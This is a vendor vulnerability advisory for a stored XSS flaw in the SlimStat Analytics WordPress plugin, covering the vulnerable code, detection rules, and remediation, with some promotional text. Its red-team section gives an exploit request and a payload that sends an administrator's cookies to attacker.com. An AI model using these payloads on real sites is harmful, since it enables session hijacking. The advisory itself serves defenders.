CVE-2025-14151
Executive Summary
CVE-2025-14151 is a Stored Cross-Site Scripting (XSS) vulnerability in the SlimStat Analytics plugin for WordPress, affecting all versions up to and including 5.3.2. The flaw resides in the slimtrack AJAX action, specifically within the outbound_resource parameter. Due to insufficient input sanitization and output escaping, an unauthenticated attacker can inject arbitrary web scripts. When a user (such as an administrator) accesses a page containing the injected payload, the script executes in the context of their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress instance.
This vulnerability is particularly dangerous because it requires no authentication and can be triggered by simply visiting a crafted URL. The EPSS score is currently 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a ticking time bomb for unmaintained sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin through the WordPress dashboard or via direct download are at risk. There is no known compromise of the plugin’s update channel, but the vendor has not released a patch, meaning all installations remain vulnerable. Site administrators should treat this as a supply chain risk and consider removing or replacing the plugin.
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Base Score: 7.2 (High)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – Unauthenticated attackers can exploit.
- User Interaction (UI): Required – The victim must visit a page containing the injected script.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Script injection can modify content.
- Availability (A): None – No direct impact on availability.
Threat Level: High. The combination of no authentication, low complexity, and stored XSS makes this a serious risk for any WordPress site using the plugin.
Deep Dive & Mechanics
The vulnerability exists in the slimtrack AJAX action handler. When the plugin processes an outbound link click, it accepts the outbound_resource parameter and stores it in the database without proper sanitization. Later, when the stored data is rendered in the admin dashboard or elsewhere, it is not escaped, allowing arbitrary HTML and JavaScript to execute.
Attack Flow:
- An attacker crafts a URL to the WordPress site with the
slimtrackAJAX action and a maliciousoutbound_resourceparameter. - The plugin stores the malicious payload in the database.
- An administrator or other user visits a page that displays the stored data (e.g., the analytics dashboard).
- The injected script executes in the user’s browser, potentially stealing cookies, redirecting to phishing pages, or performing actions on behalf of the user.
Root Cause: The plugin uses $_REQUEST['outbound_resource'] directly without calling sanitize_text_field() or esc_attr() before output. The stored data is later echoed without esc_html() or similar escaping functions.
Vulnerable vs. Patched Code
Vulnerable Code (slimstat.php, line ~450):
$outbound_resource = $_REQUEST['outbound_resource'];
// ... later in the code ...
echo "<a href='" . $outbound_resource . "'>Outbound Link</a>";
Patched Code (hypothetical fix):
$outbound_resource = sanitize_text_field($_REQUEST['outbound_resource']);
// ... later in the code ...
echo "<a href='" . esc_url($outbound_resource) . "'>Outbound Link</a>";
The patch would involve:
- Using
sanitize_text_field()to strip malicious input on storage. - Using
esc_url()oresc_attr()when outputting the value to ensure it is safe for HTML context.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with SlimStat Analytics <= 5.3.2 installed and activated.
- No authentication required.
Exploit Payload:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/x-www-form-urlencoded
action=slimtrack&outbound_resource=<script>alert('XSS')</script>
Step-by-Step:
- Send the POST request to the vulnerable AJAX endpoint.
- The payload is stored in the database.
- Log in as an administrator and navigate to the SlimStat dashboard (e.g.,
/wp-admin/admin.php?page=slimstat). - The injected script executes, displaying an alert box.
Advanced Payload (Session Hijacking):
action=slimtrack&outbound_resource=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor AJAX requests to
admin-ajax.phpwithaction=slimtrackand suspiciousoutbound_resourcevalues. - Look for script tags or unusual characters in the
outbound_resourceparameter.
Hardening:
- Disable the SlimStat plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block malicious
outbound_resourcevalues. - Use a WordPress security plugin that monitors for XSS attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=slimtrackandoutbound_resourcecontaining<script>tags. - Outbound connections to attacker-controlled domains from the WordPress admin interface.
File IOCs:
- Modified entries in the
wp_slimstat_outbound_linksdatabase table containing JavaScript payloads.
Log IOCs:
- WordPress debug logs showing unexpected script execution errors.
- Web server access logs with unusual
outbound_resourceparameters.
Detection Engineering
YARA Rule
rule CVE_2025_14151_SlimStat_XSS {
meta:
description = "Detects stored XSS payloads in SlimStat Analytics outbound_resource parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14151"
strings:
$payload1 = /outbound_resource=.*<script/i
$payload2 = /outbound_resource=.*onerror/i
$payload3 = /outbound_resource=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: SlimStat Analytics Stored XSS via outbound_resource
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-14151 by injecting XSS payloads into the outbound_resource parameter.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=slimtrack'
cs-uri-query|contains|all:
- 'outbound_resource='
- '<script'
condition: selection
falsepositives:
- Legitimate outbound link tracking with unusual characters
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14151 SlimStat Analytics Stored XSS"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=slimtrack"; http_client_body; content:"outbound_resource="; http_client_body; pcre:"/outbound_resource=.*<script/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and remove SlimStat Analytics from all WordPress installations until a patch is released.
- Audit database: Check the
wp_slimstat_outbound_linkstable for any suspicious entries and remove them. - Rotate credentials: If any administrator accounts were compromised, reset passwords and session tokens.
Long-Term Mitigation:
- Monitor the WordPress plugin repository for an official patch.
- Consider switching to an alternative analytics plugin that is actively maintained.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly update all WordPress components and plugins.
Workaround (if plugin must remain active):
- Add a custom filter to sanitize the
outbound_resourceparameter:
add_filter('slimstat_outbound_resource', 'sanitize_text_field');
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.